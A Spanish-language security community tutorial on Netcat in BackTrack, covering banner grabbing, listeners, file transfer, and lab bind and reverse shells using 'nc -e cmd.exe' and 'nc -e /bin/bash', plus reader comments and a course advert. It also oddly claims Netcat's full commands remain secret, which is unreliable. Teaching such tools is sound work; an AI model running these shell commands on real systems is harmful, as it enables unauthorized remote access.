Test de penetración con BackTrack, Netcat

Netcat (a menudo referida como la navaja multiusos de los hackers) es una herramienta de red bajo licencia GPL (en la versión de GNU) disponible para sistemas UNIX, Microsoft y Apple que permite a través de intérprete de comandos y con una sintaxis muy sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos).

Sus capacidades hacen que sea a menudo usada como una herramienta para abrir puertas traseras una vez invadido un sistema y obtenido privilegios de administrador o root del equipo. También resulta extremadamente útil a efectos de depuración para aplicaciones de red.

Ya en desuso, originariamente se trataba de una potentísima herramienta de red para administradores no habiéndose descubierto hasta la fecha el total de los comandos que se utilizaban, los cuales permanecen secretos por las particularidades de esta herramienta. (Más información – Web Oficial)

En muchas ocasiones y por diferentes razones se hace necesario realizar conexiones a puertos TCP y UDP.

Algunas de estas razones pueden ser:

  • Cuando necesitamos comprobar la disponibilidad de un puerto (si este se encuentra abierto o cerrado).
  • Cuando queremos leer el banner de dicho puerto (servicio gestionado por el mismo).
  • Cuando necesitamos conectarnos a un servicio de red de manera manual.

El modo de uso de netcat ya ha sido tratado de manera superficial en algunos laboratorios. Trataremos entonces de profundizar un poco más en este laboratorio sobre las posibilidades de la herramienta, aunque tampoco será la “Guía definitiva de Netcat”, si nos acercará un poco más a la misma.

Algunas de las publicaciones donde he hecho referencia sobre netcat son las siguientes:

Laboratorios: Hacking – Técnicas y contramedidas – Identificación de Banner’s (Banderas) I
Laboratorios: Hacking – Técnicas y contramedidas – Scanning II
Solución del HackTaller 01 DragonJAR (II de VIII)
Solución del HackTaller 01 DragonJAR (III de VIII)

Ayudas y Opciones de Comandos

Nota: Netcat es una herramienta que viene incluída y lista para ser usada desde la distribución Linux BackTrack, la cual es el objeto de estudio de esta serie de prácticas.

Uno de los primero acercamientos a netcat que debe realizar cada investigador es la exploración del propio sistema de ayudas y opciones de comandos que incluye la herramienta. Para ello bastará con ejecutar la siguiente sintaxis desde la línea de comandos:

nc -h

Para lo cual obtendremos el siguiente resultado:

nc -h
[v1.10]
connect to somewhere: nc [-options] hostname port[s] [ports] …
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-e prog program to exec after connect [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]

Identificación de Banners e información

Para intentar una conexión y obtener información de un sistema y puerto específico la sintaxis es la siguiente:

nc -vv IP/HostName Puerto

Una vez visualizada la información requerida procedemos a detener la ejecución con la combinación de teclas Ctrl + C.

Consultando el Servidor Web que gestiona un sistema Objetivo

Se trata de realizar una conexión al puerto comunmente utilizado para servir páginas Web (80), luego se envía una petición HTTP / HEAD para obtener y leer el banner del servidor HTTP. Para ello ejecutaremos la siguiente sintaxis:

nc -vv IP/HostName Puerto

Netcat a la escucha sobre puertos TCP/UDP y Chat

Establecer a Netcat en modo “listen” (escucha) en un puerto TCP / UDP es una de las tareas más implementadas con la herramienta, pues permite depurar clientes y/o aplicaciones de red, envío/recepción de datos, ejecución de terminales, etc.

Vamos como establecer a Netcat en modo “listen” (escucha) y como podemos implementar sobre el mismo un pequeño pero útil sistema de Chat entre dos equipos.

Para ello contamos con dos máquinas (Windows/Linux)
Windows: IP 10.30.3.116
Linux: IP 10.30.3.84

La máquina con Linux BackTrack será el sistema donde se establezca Netcat en modo “listen”, veamos:

nc -lvv 12345

El cliente será el sistema Windows

Transferencia de Archivos con Netcat

Otra de las bondades que permite realizar Netcat es la posibilidad de habilitar una conexión para transferir archivos entre dos equipos. Esto permitirá entonces enviar/recibir archivos de texto y/o binarios entre ellos.

Para ello contamos con dos máquinas (Windows/Linux)
Windows: IP 10.30.3.116
Linux: IP 10.30.3.84

Debemos ejecutar la siguiente sintaxis:

nc -lvp 12345 > salida.txt

El equipo server (Linux BackTrack) estará habilitado en modo listen (escucha) y redireccionando los datos recibidos a un archivo de salida, veamos:

El equipo cliente (Windows) establecerá la conexión con BackTrack (al puerto 12345) y enviará el archivo.
para ello primero crearemos el archivo de texto a enviar. Veamos:

Así se vería desde el servidor BackTrack cuando recibe los datos

Luego procedemos a comprobar la información contenida en el envío

Administración Remota con Netcat (Shell)

Sin lugar a dudas esta es una de las mejores utilidades que se le pueda dar a Netcat, pues como hemos visto esta grandiosa herramienta permite redireccionar instrucciones y comandos. Esto significa que podemos tomar por ejemplo un archivo .exe y redirigir la entrada/salida y mensajes de error a los puertos TCP/UDP que establezcamos.

Veamos en la práctica como podemos redirigir el ejecutable CMD.EXE a un cliente de red en un puerto local. De esta manera ofreceremos una línea de comandos a cualquier usuario que establezca una conexión a nuestro equipo y puerto establecido.

Para ello contamos con dos máquinas (Windows/Linux)
Windows: IP 10.30.3.116
Linux: IP 10.30.3.84

Windows hará el papel de servidor, quién ofrecerá una línea de comandos a los clientes que establezcan una conexión con él.

nc -lvp 12345 -e cmd.exe

Ahora desde BackTrack, quién actua como cliente, establecerá una conexión con Windows. Veamos:

nc -v 10.30.3.116 12345

Shell Inversa con Netcat

A diferencia del escenario anterior y como en muchas ocasiones sucede, no se puede controlar y administrar las salidas/entradas o disposición de puertos. Para ello Netcat nos ofrece otra solución más en su repertorio. Se trata entonces de establacer a Netcat en modo “listen” y el posterior envío/recepción de comandos, entre ellos la ejecución de una terminal. Veamos:

Para ello contamos con dos máquinas (Windows/Linux)
Windows: IP 10.30.3.116
Linux: IP 10.30.3.84

En este caso el sistema Windows pretende obtener una shell del sistema Linux BackTrack, con la limitante de que BackTrack no puede en ese momento servir una shell en modo “Listen”.

Desde Windows se establece el modo Listen:

nc -lvp 12345

Ahora desde Backtrack se establece la conexión hacia Windows y la instrucción que este deberá servir al mismo:

nc -v 10.30.3.116 12345 -e /bin/bash

Enviemos una instrucción (comando) desde Windows para que el resultado pueda ser visualizado desde el mismo.

Estos son solo algunos de los muchos usos que se le pueden dar a Netcat, por ello es que se le conoce como la navaja suiza de las redes :D.

A partir de este momento queda abierto el espacio para que los interesados profundicen en el uso de la herramienta.

Recomiento la lectura de estas páginas web, donde se detallan algunos usos e información de la herramienta:

Crysol
Netcat en la Wikipedia

Web Oficial de Netcat


Si te ha gustado el post, compartelo y ayudanos a crecer.

Unete a nuestra Fanpage Siguenos en Twitter

Autor: Colaborador

La cuenta colaborar agrupa a todas las personas que des interesadamente han colaborado añadiendo contenidos de seguridad informática a La Comunidad DragonJAR y ayudando a la difundir más estas temáticas en nuestro idioma. si deseas ser un colaborador envía un mail a contacto (arroba) dragonjar.org y manda tu material.

Compartir este Artículo
  • FROGXEROX

    Hola 4v4t4r, queria decirte que este informacion es excelente, me gustaria que en un futuro realizaramos un LabTaller sobre netcat a fondo, y que implementaramos en ese taller el BackTrack a mayor nivel.

    Gracias compañeros!!!

  • DarkDropix

    Sería bueno tener una versión en formato PDF, está excelente el material.

    Muchas Gracias.

  • Pingback: Pruebas de firma digital de aplicaciones Web, netcat, Httprint, Live HTTP headers y Test Online()

  • neldsker

    que tal 4v4t4r
    esta muy bueno este tutorial sobre el uso del netcat.
    saludos desde Mi Bolivia

  • Athok

    una palabra “EXCELENTE”

  • d10n3R

    Hola, antes que nada ps decirles q esta bien lo q esta haciendo nuestro amigo 4v4t4r, yo vi algo parecido con el material de Offensive-Security, de hecho es lo mismo solo q se encuentra en ingles, si mal no recuerdo son 3 videos de larga duracion donde se explica todo esto paso a paso, el detalle es q esta en ingles, y tambien trae un libro sobre todo el curso en ingles… me parece bien el trabajo realizado aqui, ya que muchas personas no sabemos mucho el ingles, suerte y espero que todo siga asi 4v4t4r….Saludos =)

  • juanescobar711

    Hola 4v4t4r muy bueno este taller
    Muchas Gracias

  • anonimo

    como hago para descargarlo?

  • jchack

    esa hermienta es fantastica me gustaria saber mas sobre ella y sus usos

  • pedro

    muy buen tutorial felicidades,,,, desde panama gracias metiendole a la seguridad informatica.

  • Bibliofilia

    muy lindo :3
    pero…
    ¿por que no dan el link del netcat?

  • http://SitioWeb(opcional) joselito

    para los que quieran estas herramientas y mas les recomiento que bajen backtrack 5

  • Pingback: Blog Tecnico | Netcat Herramienta multiusos()

 

¿Te gustó?, compártelo…

 

       

Aprende ONLINE Técnicas HACKING y Seguridad Informática guiad@ por Profesionales RECONOCIDOS con más de 10 años de experiencia REAL en el campo de la Seguridad Informática

Toma acción !AHORA¡
miles ya lo han hecho

NUNCA te enviaremos spam.

  • No necesitas conocimiento previo (De 0 a Ninja)
  • Docentes reconocidos en el medio y con experiencia REAL
  • Clases ONLINE en VIVO que luego podrás repasar si lo deseas desde cualquier parte o cualquier dispositivo
  • Contenidos EXCLUSIVOS generados por nuestros docentes
  • Contacto constante con el docente por distintos medios, antes, durante y después de las clases
  • Laboratorios en linea para que nuestros alumnos practiquen sus conocimientos sin problemas
  • Exclusivo FORO VIP de Alumnos y Ex-Alumnos donde se continúa el aprendizaje y se comparte conocimiento
  • Te entregamos un diploma de certificación por cada curso
  • Miles de ex-alumnos felices